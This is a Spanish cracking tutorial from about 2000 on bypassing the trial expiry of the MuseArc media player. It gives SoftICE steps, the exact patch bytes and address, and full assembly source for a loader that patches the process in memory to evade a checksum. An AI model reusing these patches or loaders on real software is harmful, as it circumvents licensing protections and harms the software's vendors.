3.1.- Primer intento fallido.
3.2.- GetSystemTime(), encontramos el salto condicional.
3.3.- Parcheamos el ejecutable y....plof!
4.- El Checksum. La modificacion del ejecutable ha sido detectada.
4.1.- Solucion 1... El loader.
4.1.1.- Funciones ke es necesario conocer.
4.1.1.1.- CreateProcess();
4.1.1.2.- WriteProcessMemory();
4.1.1.3.- FlushInstructionCache();
4.1.1.4.- ResumeThread();
4.1.2.- El codigo de nuestro loader.
4.2.- Solucion 2... Introduciendo codigo propio en un ejecutable.
4.2.1.- Buscando un punto de atake.
4.2.2.- Haciendolo a mano.
4.2.3.- Usando el Code Snippet Creator.
4.2.3.1.- Datos ke necesitamos.
4.2.3.2.- Escribiendo e introduciendo el recorte.
4.2.4.- Consideraciones finales.
4.3.- Solucion 3... Modificando la rutina de proteccion.
5.- Esto es todo amigos.



1.- LISTA DE COSAS KE NECESITAMOS.

Esta lista esta en riguroso desorden, de las cosas ke utiliaremos a lo largo
de este articulo :)

- Necesitamos un ensamblador para Win32. Yo utilizo el:
Microsoft (R) Macro Assembler Version 6.14.8444
Microsoft (R) Incremental Linker Version 5.12.8078
Eres libre de usar el ensamblador ke a ti te de la gana :)

- Un desensamblador. Yo use el W32Dasm V 8.93
Ahora mismo no recuerdo si el desensamblador es o no imprescindible,
pero si recuerdo haberlo usado para algo. Tu usa el k te venga en
gana.

- Un Debugger. Yo use nuestro kerido SoftICE version 4.0.5(build 334)
Como antes, usa el k kieras :)

- Un editor de PE, yo use el ProcDump32, de G-RoM, Lorian y Stone

- Un editor hexadecimal. En mi caso, use el UltraEdit-32

- El Code Snippet Creator, en mi caso la veriosn 1.05 build 2,
programa de Iczelion. Este programa es prescindible.

- El r!sc's process patcher v1.5.1... este programa realmente no se
usa, solo se comenta una cosa, pero es totalmente prescindible.

- El MuseArc, version ??? posi, casi k el prgrama victima si ke lo
vamos a necesitar

- Una botella de autentico Vodka ruso, y algo para mezclar,
preferiblemento sprite, aunke limon tambien vale. Tambien
necesitaremos hielo y pajitas.Esto tambien es prescindible, pero muy
recomendable.






2.- LA VICTIMA.

2.1.- PRESENTACION DE LA VICTIMA.

En este caso he decidido que nuestra victima sera un programa llamado
museArc. En concreto este programa es un reproductor de mpeg dise¤ado para
windows95 y WindowsNT, estamos hablando de la version 4.6.97.8 beta. (esa
version segun el programa de instalacion, segun el archivo readme.txt que
viene junto con la aplicacion es la version 4.6.97.9, y segun el archivo de
ayuda es la version 4.5.... bueno, parece ke no lo tenian muy claro)... de
todas formas lo ke menos me importa es la version, yo lo k kiero es hacerlo
rular.... :)

2.2.- ACERCA DE T.U.G. by [yAtEs], AGOSTO DEL 99.

Pues aki tengo k komentar unas cuantas cosas. El caso es ke este programa
fue tratado ya hace tiempo, concretamente en agosto del 99, por [yAtEs].
Este era uno de los programas ke se crackeaban en T.U.G., the ultimate guide
to cracking for newbies, ke komo su nombre indica es una guia de cracking
orientada a los principiantes en este noble arte ;). En el estudio ke [yAtEs]
hacia de este programa, llegaba a la misma conclusion ke yo. Encontraba el
salto condicional ke komprobaba si el periodo de pruebas habia expirado, y
lo parcheaba dentro del ejecutable para ke nunca fuese asi ( cambiaba el
salto condicional por un salto incondicional, lo veremos mas adelante). Una
vez hecho esto el programa dejaba de funcionar, como ya he adelantado.
La solucion escogida en este caso, fue la generacion de un loader usando
para ello el programa "R!SC'S Proccess Patcher". Y para el ke no sepa de ke
estoy habladno, ke no se preocupe, porke mas adelante explicare ke es esto
de un loader y haremos nuestro propio loader para este programa, como no,
en ensamblador. El R!SC'S Proccess Patcher crea loaders para procesos Win32
a partir de un simple script. Estos scripts se identifican por su extension
.rpp, y se ponen en el mismo directorio ke la aplicacion a crackear, y al
ejecutarse este ejecuta el proceso, y hace los cambios necesarios.

En concreto en script ke propuso [yAtEs] fue el siguiente:

;****************************************
;MuseArc Script by [yAtEs]

T=1000: ; TRY 1000 TIMES (thats 4096 in decimal :)
F=musearc.exe: ; exe name
P=40D24F/7C/EB: ; change 7C (JL) to EB (JMP)
$
;****************************************

Solo una nota mas a cerca de este script. Bien, la primera linea significa,
como ahi pone, ke se hagan un total de 4096 intentos. Estos son los
numero de intentos ke tiene para encontrar los bytes a parchear antes de
ke el programa caske.. el error ke daria es, si no me ekivoco, el de numero
de version no valido. Ademas de esto, esa linea se podria suprimir puesto
ke por defecto, si no se especifica ningun valor, se pone a 8000(hex).
yo en casa tengo en concreto la version:
r!sc's process patcher v1.5.1
r!sc -- http://beam.to/risc
Es una herramienta util, os la aconsejo a todos.




3.- EL PROBLEMA DEL PERIODO DE PRUEBA.

Pues vamos a probar nuestro nuevo mp3 player y vemos ke ni de co¤a, no nos
deja, en lugar de salir alguna bonita ventana donde elegir la cancion ke
deseamos escuchar en este momento, aparece una odiosa ventana ke tiene por
titulo museArc BETA y ke nos notifica ke el periodo de prueba del ke
disponiamos para usar este programa ha finalizado en noviembre de 1997.
Tambien nos dan tanto la pagina web como una direccion de correo electronico
para contactar en caso de kerer conseguir informacion. Tenemos la opcion de
pulsar el boton acepatar en esa ventana, lo kual lleva a la finalizacion del
programa... Asi pues, pasaremos a buscar alguna solucion a este peke¤o
contratiempo...



3.1.- PRIMER INTENTO FALLIDO.
Por el momento, vamos a comenzar trabajando con el SoftICE, que es un gran
debugger. Yo, como lo uso bastante, siempre lo tengo funcionando, aunke lo
normal es tenerlo solo cuando se necesita... el SoftIce (SICE en lo
sucesivo)tiene ke ser cargado antes ke el windows,asi ke este se carga con
una linea en el autoexec.bat... linea ke podeis comentar cuando no lo
necesiteis...
La ventana a la que antes he hecho referencia tenia toda la pinta de ser una
ventana del tipo MessageBoxA, asi que vamos a poner un punto de ruptura en
esa funcion. Para ello, primero se arranca el symbol loader, una peque¤a
utilidad que viene junto con el SICE, y en el menu file se escoje load
exports, y seguidamente se elije la libreria user32.dll, que es la que
contiene la funcion MessageBoxA. Esto se hace para ke despues podamos poner
puntos de ruptura en funciones de esa libreria. En el mismo menu, con open
module cargamos la aplicacion a debuggear, asi ke elegimos el archivo
MuseArc.exe. Le damos para continuar al peke¤o boton con un dibujo de ruedas
dentadas en la esquina superior izquierda del loader. Ahora nos aparece una
ventana de error,debido a ke no se encuentra informacion sobre depuracion...
Le damos al si... y salta la ventana del SICE, que ha parado en la
primera instruccion del programa. Es una ventana un poco cutre, en modo
texto y tal... pero desde ella se pueden hacer maravillas... :)
Ponemos el punto de ruptura en la funcion que antes comente
(con bpx messageboxa ) y le damos a CONTROL+D(Esta combinacion de teclas
conmuta entre windows y el debugger), y vuelve a saltar el debugger, ahora
en la primera instruccion de esa rutina. Pulsamos F12 (Ejecutar la rutina
entera y parar en la siguiente instruccion), y el programa se sigue
ejecutando, aparece la ventana del MuseArc ke da tanta tirria...le damos al
boton, y volvemos al SICE. Komo nos indica la linea inferior de la ventana
de codigo, estamos en el musearc, en la seccion .text.. este es el nombre
comun para la seccion de codigo: MUSEARC!.text+00....),y puedo ver:

:
015F:00438C3B CALL [USER32!MessageBoxA]
015F:00438C41 POP EDI <- Aparecemos aqui
015F:00438C42 POP ESI
015F:00438C43 RET 000C
:
:
Hechando un vistazo por encima al codigo que hay por aqui no veo nada digno
de mencion, asi ke de nuevo F12, y llegamos hasta:
:
015F:0040D20B CALL 00438C0C
015F:0040D210 PUSH FF <- Aparecemos aqui
:
:
Le hecho un vistazo tambien a esto pero sigo sin ver nada intersante, asi ke
F12 again.... y el programa termina su ejecucion... Asi ke habra ke buscar
otro camino...



3.2.- GetSystemTime(), ENCONTRAMOS EL SALTO CONDICIONAL.

En algun momento, el programa tendra que mirar a que dia estamos, para
decidir si el plazo a concluido o no... eso lo hara probablemente con una
llamada a la funcion GetSystemTime(), que se encuentra en la libreria
kernel32.dll. En concreto esta funcion esta definida como sigue:

VOID GetSystemTime{
LPSYSTEMTIME lpSystemTime
};

La estructura ke se le pasa como parametro es rellenada con la fecha y hora
del sistema. Esa estructura esta definida como sigue:

typedef struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME;


Asi que deshabilitamos el punto de ruptura que tenia ( bd 0) y pongemos otro
en GetSystemTime. A continuacion vuelvemos a ejecutar el mouseArc. El
SICE para por primera vez, y despues de hechar un vistazo por ahi,hacemos ke
se siga ejecutando, a ver que pasa... El programa para por segunda vez, y...
ahora parece ke si dimos en el clavo :) llegamos al siguiente codigo:

:
015F:0040D22B CALL [KERNEL32!GetSystemTime]
015F:0040D231 MOV EAX,[ESP+04] <- Tamos aki
015F:0040D235 XOR ECX,ECX
015F:0040D237 MOV CX,[ESP+06]
015F:0040D23C AND EAX,0000FFFF
015F:0040D241 LEA EDX,[EAX*2+EAX]
015F:0040D244 LEA EAX,[EDX*4+ECX]
015F:0040D247 SHL EAX,04
015F:0040D24A CMP EAX,0005DAA0
015F:0040D24F JL 0040D258
015F:0040D251 MOV ECX,ESI
015F:0040D253 CALL 0040D1F0
:
:

Y si ahora nos fijamos un poco, vemos que ese ultimo call de la lista nos
lleva justo delante de la llamada ke luego desenvoca en el MessageBoxA().
Por tanto la unica opcion ke tenemos es ke se ejecute ese salto condicional.
Hagamos la prueba... Pulsando F10 (F10 es para ir instruccion a instruccion,
pero sin entrar en las funciones) varias veces llegamos hasta el salto
condicional. Cuando estamos sobre el, al lado derecho de la linea aparece un
mensaje diciendonos que este no se va a ejecutar. Para variar esto podemos,
por ejemplo, cambiar el valor del flag de signo, que ahora es 0. Esto lo
hacemos con la orden: "r fl +s". A continuacion deshabilitaremos todos los
puntos de ruptura ( bd *) y pulsaremos CONTROL+D, para salir de debugger....
y ahora el programa funciona bien :).



3.3.- PARCHEAMOS EL EJECUTABLE Y...PLOF!

Bueno, pues ya hemos encontrado el punto k estabamos buscando. Tenemos un
salto condicional despues de una llamada a la funcion GetSystemTime, y
tenemos ke si ese salto condicional no se ejecuta indica k el periodo de
prueba ha expirado. Por lo tanto la solucion mas obvia es la de cambiar el
salto condicional por un salto incondicional con ayuda de un editor
hexadecimal.
Ahora mismo,tal como tengo configurado el SICE, no estoy viendo el codigo
de las instrucciones ( code off), pero necesito verlo, por lo ke introduzco
"code on" y copio una cadena de codigo ke kontenga el salto condicional, y
ke sea lo suficientemente grande como para ke vaya a ser una cadena unica
cuando la buske dentro del ejecutable. La cadena sera la siguiente:
"3D A0 DA 05 00 7C 07 8B CE"
Ahora bien, dentro de esa cadena el salto condicional lo representa el
"7C 07", y para ke esto sea un salto incondiconal ( o sea, ke salte siempre
ke es lo ke keremos) solo hay ke cambiar "7C 07" por "EB 07". Pues nada,
cogemos nuestro editor hexadecimal favorito y hacemos el cambio, habiendo
hecho antes, por supuesto una copia de seguridad del ejecutable
( museArc.exx en mi caso), por si metemos la pata, k siempre es posible :)

Ahora probamos a ejecutar el programa parcheado, y nos sale un error de la
oxtia :(... De hecho, lo ke ha pasado es ke me a saltado el SICE y he
podido leer en una linea azul txungo lo siguiente:

Break due to Page fault (0Eh) fault=0004

Esto ha pasado porke se ha producido un fallo de pagina, y normalmente por
defecto el SICE salta ante cualkier fallo de pagina. Esto lo podemos
deshabilitar con "faults off". Una vez hecho esto nos sale la ventanita
diciendonos ke el programa ha efectuado una operacion no admitida y ke sera
interrumpido. :(




4.- EL CHECKSUM. LA MODIFICACION DEL EJECUTABLE HA SIDO DETECTADA.



Bueno, y ke ko¤o pasa aki??? Pues la respuesta parece bastante clara. O
metimos la pata hasta el fondo y no nos dimos cuenta, o el programa checkea
que el ejecutable ( o al menos una parte de el) no se haya modificado.
Como no creo ke me haya ekivocado :) sera la segunda opcion... Este progama
tendra por algun lado lo ke se denomina un checksum. Esto es ni mas ni menos
ke una rutina ke comprueba la integridad del archivo. No kiero en entrar
en detalles de como lo hace tampoco. Hay muchas formas de hacerlo, y pueden
haber usado desde una simple suma (XOR) de los bytes del archivo hasta la
cosa mas complicada y enrevesada ke os podais imaginar. El caso es ke hay
una rutina ke hace algo tal ke asi:

rutina checksum
Miro mi ejecutable;
si (ejecutable ha sido modificado) entonces
te doy por el culo;
fin_si;
fin_rutina

Y voy a hacer algun comentario mas al respecto. Aunke en este caso la rutina
esta en el propio ejecutable, no tiene porke ser asi. Podriamos tener la
rutina ke chekea el ejecutable en una libreria .dll... y es mas..podriamos
tener ademas de eso, despues una rutina ke chekea la libreria en el
ejecutable, por ejemplo (Si mal no recuerdo...espero no ekivocarme, esto pasa
por ejemplo en el HotMetal Pro 6.0)....
Para asegurarnos de ke nos hemos encontrado con un checksum, el metodo mas
utilizado es el de hacer modificaciones dentro del ejecutable de forma ke
estas no cambien el funcionamiento normal del programa. Me refiero por
ejemplo a algun cambio en la cadena de texto de "This program cannot be
run..."
, o cambiar "xor eax,eax" por "sub eax,eax" (las dos ponen eax igual a
0), o cosas por el estilo.
Si ante alguna de estas modificaciones el programa deja de funcionar podemos
asegurar de ke nos encontramos ante un checksum. De todas formas, en caso de
ke el programa siga funcionando correctamente, no podemos asegurar nada.

Y volviendo al tema k nos ocupa, nosotros estamos en la parte ke nos da por
culo. Asi ke habra ke buscar soluciones para esto.




4.1.- SOLUCION 1... EL LOADER.

Pues esta es la primera solucion ke se me ocurre. Un loader es un peke¤o
programa ke lanza nuestra victima y hace en ella todas las modificaciones
necesarias para ke todo funcione correctamente.... osea ke aki lo ke se
trataria es de hacer un programa ke de alguna manera automatice el proceso
ke hemos llevado a cabo con el debugger. Como de esta manera no
modificariamos el ejecutable no nos tendremos ke preocupar del checksum.
Esta es tambien la solucion adoptada en el T.U.G., solo ke en este caso se
ayudaban de un programa, mientras ke aki explicaremos como hacer el loader
nosotros mismos, y en ensamblador.
En concreto lo ke haria nuestro programa no seria esperar a ke la ejecucion
llegase a ese salto y seguidamente hacer la modificacion. Sabemos donde se
encuentra el salto, y sabemos komo lo tenemos ke parchear. Asi pues, lo ke
haremos es parchear el salto al inicio del programa i despues dejarlo
ejecutarse libremente.

Entonces, deciamos ke ibamos a construir un programa ke deberia hacer lo
siguiente:

1.- Crear un nuevo proceso, el museArc, pero no dejar ke se ejecute,
o dicho con otras palabras, krear el proceso como suspendido.

2.- Acceder a la posicion de memoria en la que esta el salto
condicional y cambiarlo por un salto incondicional.

3.-Permitir ke kontinue la ejecucion de dicho proceso.

4.- Terminar.

Una vez ke hagamos este programa,cada vez k keramos usar el museArc lo unico
ke tenemos ke hacer es ejecutarlo.


4.1.1.- FUNCIONES KE ES NECESARIO CONOCER.


Para llevar a cabo las tareas ke he expuesto arriba es necesario conocer
una serie de funciones de la api de windows, ke voy a a pasar a comentar a
continuacion. Esto es mas o menos lo k dice de ellas el archivo Win32.hlp:
Win32 Programmers Reference, archivo de ayuda ke siempre es recomendable
tener :) todas los comentarios k hago de funciones de la api de windows
estan sacados de este archivo.


4.1.1.1.- CREATEPROCESS();

BOOL CreateProcess(

LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlag,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

lpApplicationName: es un puntero a una cadena terminada en null, que
especifica el modulo que se ha de ejecutar. Esta cadena puede ser NULL, y
ser el nombre del mudulo la primera cadena delimitada por espacios en
blanco dentro del lpCommandLine.

lpCommandLine: puntero terminado en NULL, que apunta a la linea de comando
a ejecutar. Este argumento puede ser NULL, y especificar el comando a
ejecutar en lpApplicationName. Si lpApplicationName es NULL, el primer
espacio en blanco delimita el nombre del comando. Si este nombre no tiene
extension, se le a¤ade ".exe", pero sei el nombre del fichero termina en
punto, sin extension, o el nombre del fichero contiene el path, el ".exe"
no es a¤adido. Si el nombre del fichero no contiene el path, windows busca
el ejecutable siguiendo la secuencia:
1- El directorio desde donde la aplicacion es cargada
2- El directorio actual del proceso padre
3- El directorio system de windows
4- En los directorios listados el el PATH.
Y despues de esto, decir ke lo recomendado es dejar siempre
lpApplicationName a NULL, y usar lpCommandLine.

lpProcessAttributes: puntero a una estructura SECURITY_ATRIBUTES, la cual
expongo un poco mas abajo. A decir verdad, todo lo ke puedo decir aki ya
lo digo en el argumento lpThreadAttributes, asi ke tira millas...

lpThreadAttributes: puntero a la estructura SECURITY_ATRIBUTES, que
determina si el handle retornado puede ser o no heredado por el proceso
hijo. Si lpThradAttributes el NULL, el handle no puede ser heredado.

typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength; // Tama¤o de la estructura
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES;

binheritHandles: indica si el nuevo proceso hereda handles del proceso que
lo llama. Si es TRUE, cada heredable handle del proceso que lo llama es
heredado por el nuevo proceso.

dwCreationFlags: es una cualquier combinacion de las siguietes flags:

CREATE_DEFAULT_ERROR_MODE: El nuevo proceso no hereda el error mode del
proceso que realiza la llamada. CreateProcess le da al nuevo proceso el
error mode por defecto. Una aplicacion actualiza el error mode por
defecto llamando a SetErrorMode.

CREATE_NEW_CONSOLE: El proceso tiene una nueva consola en vez de heredar
la del padre. Este flag no puede ser usado con el de DEATACHED_PROCESS.

CREATE_NEW_PROCESS_GROUP: El nuevo proceso es el proceso raiz de un nuevo
grupo de procesos. Este grupo incluye todos los procesos que son
descendientes de el.

CREATE_SUSPENDED: Pues eso mismo, el nuevo proceso es creado en estado de
suspendido, y no se ejecutara hasta que no sea llamada la funcion
ResumeThread. Esta es en concreto la flag ke nos interesa a nosotros :)

CREATE_UNICODE_ENVIRONMENT: Indica que el bloque al que apunta
lpEnvironment usa caracteres unicode

DEBUG_PROCESS: El proceso que hace la llamada es tratado como un debugger,
y el nuevo proceso es un proceso que esta siendo depurado.

DEBUG_ONLY_THIS_PROCESS: Si este flag no esta activo y el proceso que
realiza la llamada esta siendo depurado, el nuevo proceso se convierte en
otro proceso siendo depurado por ese mismo debugger.

DEATACHED_PROCESS: Este flag es para procesos de consola. Si se activa,
el nuevo proceso no tiene acceso a la consola del proceso padre. El nuevo
proceso puede crear una nueva consola llamando a AllocConsole. Este
proceso no puede ser usado junto con el flag CREATE_NEW_CONSOLE

Este parametro tambien controla las prioridades del nuevo proceso. Si
ninguna de estas flags es especificada, por defecto se usa
NORMAL_PRIORITY_CLASS, a no ser que la prioridad del proceso creador sea
IDLE_PRIORITY_CLASS, en cuyo caso el proceso hijo tendra esa misma
prioridad. Las siguientes flags pueden ser especificadas:

HIGH_PRIORITY_CLASS: Para procesos en los que el tiempo de respuesta es
critico.
IDLE_PRIORITY_CLASS: Estos procesos se ejecutan unciamente cuando el
sistema no esta haciendo nada.
NORMAL_PRIORITY_CLASS: El proceso es un proceso normal.
REALTIME_PRIORITY_PROCESS: Es el nivel mas alto de prioridad que se puede
dar a un proceso. Este proceso se encotraria por encima de procesos de SO
a nivel de prioridad, con lo que si se ejecutase durante un cieto tiempo
podria dar la sensacion de que el ordenador se ha colgado.

lpEnviroment: este parametro apunta al bloque de entorno para este proceso.
Si este es NULL, se coge el entorno del proceso que realizo la llamada. El
bloque de entorno consiste en un bloque terminado en NULL de cadenas de
caracteres tambien terminadas en NULL. Cada una de estas cadenas tienen la
forma "nombre=valor". El caracter '=' es usado como separador, por lo que
no puede ser incluido en el nombre de ninguna variable de entorno. El
bloque de entorno puede conterner caracteres ANSI o UNICODE. Esto se
indica en dwCreationFlags, con CREATE_UNICODE_ENVIROMENT.

lpCurrentDirectory: puntero, NULL-terminado que especifica la unidad y el
directorio para el proceso hijo. Si este parametro es NULL, se cogen los
valores del proceso padre.

lpStartupInfo: puntero a una estructura STARTUPINFO, que especifica como
debe aparecer la ventana del nuevo proceso

typedef struct _STARTUPINFO {
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;

} STARTUPINFO, *LPSTARTUPINFO;

A pesar de su tama¤o, la mayoria de los campos son ignorados a no ser ke
se especifike en dwFlags, asi pues, poniendo este campo a 0, solo hay k
preocuparse de los campos ke hay ke rellenar obligatoriamente con ciertos
valores determinados. Estos son:
cb: Con el tama¤o total de la estructura.
lpReserverd: con NULL
lpDesktop: con NULL
lpTitle: con NULL
cbReserved2: con 0
lpReserved2: con NULL

lpProcessInformation: puntero a la estructura PROCESS_INFORMATION que
recibe informacon acerca del nuevo proceso.

typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION;


En caunto al valor de retorno de esta funcion, si la funcion falla, el
valor que retorno es 0. Para conseguir mas informacion, habria que llamar
a GetLastError. En caso de que la funcion se ejecute satisfactoriamente,
el valor de retorno sera distinto de 0.



4.1.1.2.- WRITEPROCESSMEMORY();


BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD, lpNumberOfBytesWritten
};

hProcess: Identifica un handle abierto a un proceso cuya memoria va a ser
escrita. El handle debe tener los accesos PROCESS_VM_WRITE y
PROCESS_VM_OPERATION al proceso.

lpBaseAddress: Apuntara a la direccion donde queremos escribir.

lpBuffer: Puntero al buffer que contiene los datos que van a ser escritos.

nSize: Especifica el nuemero de bytes que queremos escribir.

lpNumberOfBytesWritten:Apunta al numero actual de bytes transerfidos a ese
proceso en concreto. Este parametro puede ser ignorado si hacemos este
puntero igual a NULL.

En caso de que la ejecucion de esta funcion sea satisfactoria devolvera un
numero distinto de 0. En el caso de que algo haya ido mal, la funcion
devolvera 0 y se podra conseguir mas informacion llamando a GetLastError().



4.1.1.3.- FLUSHINTRUCTIONCACHE();


BOOL FlushInstructionCache(
HANDLE hProcess,
LPCVOID lpBaseAddress,
DWORD dwSize
);

hProcess: Handle del proceso cuya cache queremos llenar.

lpBaseAddress: Puntero que apunta a la region de memoria.

dwSize: Tama¤o de dicha region.

Esta funcion lo que hace es llenar la cache para el proceso que se
especifica. La funcion devuelve 0 solo en el caso de que se haya producido
algun error. Se puede obterner informacion extra con GetLastError();


4.1.1.4.- RESUMETHREAD();


DWORD ResumeThread(
HANDLE hThread
);

hThead: Identifica el proceso que deseamos que se siga ejecutando.

Esta funcion decrementa la cuenta de suspenso del proceso. Cuando esta
cuenta llega a 0, la ejecucion del proceso continua. Por tanto, un valor 0
en esa cuenta significa que el proceso no se encuentra actualmente
suspendido.

En caso de que la funcion se ejecute sin ningun problema devuelve el valor
previo de la cuenta, y devolvera -1 en caso de haberse producion algun
error.



4.1.2.- EL CODIGO DE NUESTRO LOADER.

Aki voy a comenzar poniendo el codigo del loader, i despues abajo lo
comentare con algo de detalle.

----------------------el archivo muse.asm comienza aki------------------
;
; muse.asm
; Para el musearc.exe v ????
; marconi, diciembre del 2000
; inocram@yahoo.com
;
;
; ml /c /coff muse.asm
; link /SUBSYSTEM:WINDOWS /LIBPATH=c:\masm32\lib muse.obj
;

.386
.MODEL flat,STDCALL
option casemap:none ;diferenciar entre mays y mins
;equivalente a la opcion /Cp

include c:\masm32\include\windows.inc ;windows.inc de hutch
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc ;messagebox y demas
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib

.data
error db "Error en la aplicacion...",0 ;titulo de la ventana de
;error
archivo db "musearc.exe",0 ;Nombre del ejecutable
rva dd 0040D24Fh ;Relative Virtual Address
data db 0ebh ;datos a escribir

.data?
infoinicio STARTUPINFO <>
procinfo PROCESS_INFORMATION <>
cad dd ?

.code
inicio: ;Punto de entrada

;rellenamos los valores de la estructura procinfo...
invoke GetStartupInfo,addr infoinicio

;creamos el proceso suspendido...
invoke CreateProcess,NULL,addr archivo,NULL,NULL,FALSE,\
CREATE_SUSPENDED,NULL,NULL,addr infoinicio,\
addr procinfo
test eax,eax
je fallo

;escritura en memoria...
invoke WriteProcessMemory,procinfo.hProcess,rva,addr data,1,NULL
test eax,eax
je fallo
invoke FlushInstructionCache,procinfo.hProcess,rva,1
test eax,eax
je fallo

;Hacemos ke el proceso salga de su estado de suspendido...
invoke ResumeThread,procinfo.hThread
cmp eax,-1
je fallo
;Todo fue bien, vamos a la salida...
jmp salida


;Errores...
fallo:
invoke GetLastError
invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER + \
FORMAT_MESSAGE_FROM_SYSTEM,NULL,eax,0,addr cad,0\
,NULL
invoke MessageBox,0,cad,addr error,MB_OK+MB_ICONINFORMATION
invoke LocalFree,cad


;salida del programa...
salida:
invoke ExitProcess,NULL
end inicio
---------------------el archivo muse.asm termina aki---------------------

Voy a comentar por encima lo ke hace este programa en cuestion.Ya he puesto
al principio cuales serian las lineas para compilarlo y enlazarlo. Este
codigo esta pensado para el masm :)...
Por un lado hay k destacar ke a¤adi algo de codigo adicional ke se encarga
de mostrar mensajes de error en caso de ke algunas de las llamadas no se
ejecute satifactoriamente. Esta parte de codigo no la voy a comentar, pues
kreo ke es bastante claro y ademas se escapa a los objetivos de este
articulo.
Lo primero ke hacemos es rellenar la estructura infoinicio, ke es del tipo
STARTUPINFO. Necesitaremos esta estructura correctamente rellenada para
despues poder llamar a la funcion CreateProcess. Ya comente antes k no son
muchos los campos k hay k rellenar de esta estructura. De todas formas en
vez de rellenar los campos lo ke hice fue hacer una llamada a la funcion
GetStartupInfo, ke rellena esa estructura con los datos del programa ke la
llamo. Seguidamente. Llamamos a CreateProcess para crear el proceso y le
indicamos ke cree el proceso MuseArc.exe y lo ponga en estado suspendido.
Seguidamente, accedemos a la memoria de ese proceso, con una llamada a la
funcion WriteProcessMemory() y otra a la funcion FlushInstructionCache()
para sobreescribir el salto condicional y reemplazarlo por un salto
incondicional. Llamamos a ResumeThread() para ke el proceso se siga
ejecutando, i finalizamos.

Este programa es una chapucilla, como podeis ver. Hay cosas k se deberian
hacer y sin embargo no se hacen, como por ejemplo leer primero el trozo de
memoria ke se va a sobreescribir, para ver si estamos parcheando el lugar
correcto (ReadProcessMemory()).... pero tampoco keria complicarlo mas...
empece con la idea de hacer algo muy muy sencillo, y aun asi acabe metiendo
codigo sin el cual el loader seguiria funcionando perfectamente.

Si ahora metemos el ejecutable generado por este codigo fuente en el mismo
directorio donde tenemos instalado el MuseArc, y seguidamente ejecutamos
nuestro peke¤o enjendro, veremos ke el MuseArc arranca sin ningun problema
:)))))
Les he mandado una copia del programa junto con el parche a algunos de mis
amigos, y he tenido kejas, porke a pesar de ke el parche se salta la
ventanita toca-cojones, despues, al intentar escuchar alguna cancioncilla
el programa se va a tomar por culo.... le he estado dando bastantes vueltas
buscando alguna relacion entre el parche y los fallos del programa pero no
he visto nada... sinceramente creo ke lo ke pasa es ke el programa es una
MIERDA... el fallo en cuestion solo lo da con algunos mp3... por eso no lo
habia advertido al principio... de hecho a mi solo me dio problemas una de
10 canciones ke probe, y siempre la misma... bueno, kizas si tenga algo ke
ver y yo este obcecado y no lo vea (aunke no creo ;) jejeje en todo caso,
avisados estais...




4.2.- SOLUCION 2... INTRODUCIENDO CODIGO PROPIO EN UN EJECUTABLE.

Bien, vamos con la segunda posible solucion... pero antes, recordar donde
estabamos... Hasta el momento teniamos un MuseArc.exe parcheado, pero ke por
culpa del parche acababa dando un error de fallo de pagina, y por otro lado
teniamos una copia de seguridad del musearc.exe, que habia llamado
musearc.exx
Pues vamos a ello....
Lo ke en este apartado haremos sera introducir codigo propio dentro del
archivo ejecutable MuseArc.exe, como bien reza el titulo. Esta tecnica se
puede usar para muchas mas cosas ke el cracking, si bien es para esto para
lo ke lo vamos a usar aki. Tambien nos podriamos apoyar en esta tecnica para
dotar a programas de nuevas capacidades, modificar el comportamiento, etc.
No me enrollo mas....



4.2.1.- BUSCANDO UN PUNTO DE ATAKE

Sabemos ke el error lo da porke se da cuenta de ke el archivo musearc.exe
ha cambiado, eso esta bastante claro. Y otra cosa ke esta bastante clara es
ke para darse cuenta de ke ese archivo ha cambiado el programa debe hacer
algunas cosillas tales como por ejemplo abrir el archivo musearc.exe. Este
es un posible punto de atake para comenzar y a ver a donde llegamos. Para
abrir un archivo habran usado alguna funcion de la api de windows, y si le
hechamos un vistazo, podremos ver ke las funcion candidata para poner
breakpoints es:

HANDLE CreateFile(

LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDistribution,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
y voy a pasar a comentar los argumentos:

lpFileName: Puntero al nombre del archivo, terminando en nulo. (en realidad
esta funcion no se restringe a archivos, sino ke tambien pueden ser
directorios, pipes...). Se puede especificar el path tambien en este
argumento. En realidad este es el unico parametro ke nos interesa, de todas
formas voy a describir el resto brevemente...

dwDesiredAccess: Tipo de acceso al objeto. Especifica si se va a abrir como
solo lectura, lectura-escritura.....

dwShareMode: Indica como se va a compartir el archivo. Es una combinacion
de los valores FILE_SHARED_READ, FILE_SHARED_WRITE, FILE_SHARED_DELETE.. y
en caso de ser 0, significa ke el objeto no sera compartido.

lpSecurityAttributes: Puntero a una estrucutra SECURITY_ATTRIBUTES, ke
especifica si el handle puede ser heredado... mirad el numero uno sobre el
musearc para mas informacion.

dwCreationDistribution: Especifica ke accion hacer en caso de ke el archivo
exista(o no)...OPEN_ALWAYS,OPEN_EXISTING,CREATE_NEW, etc

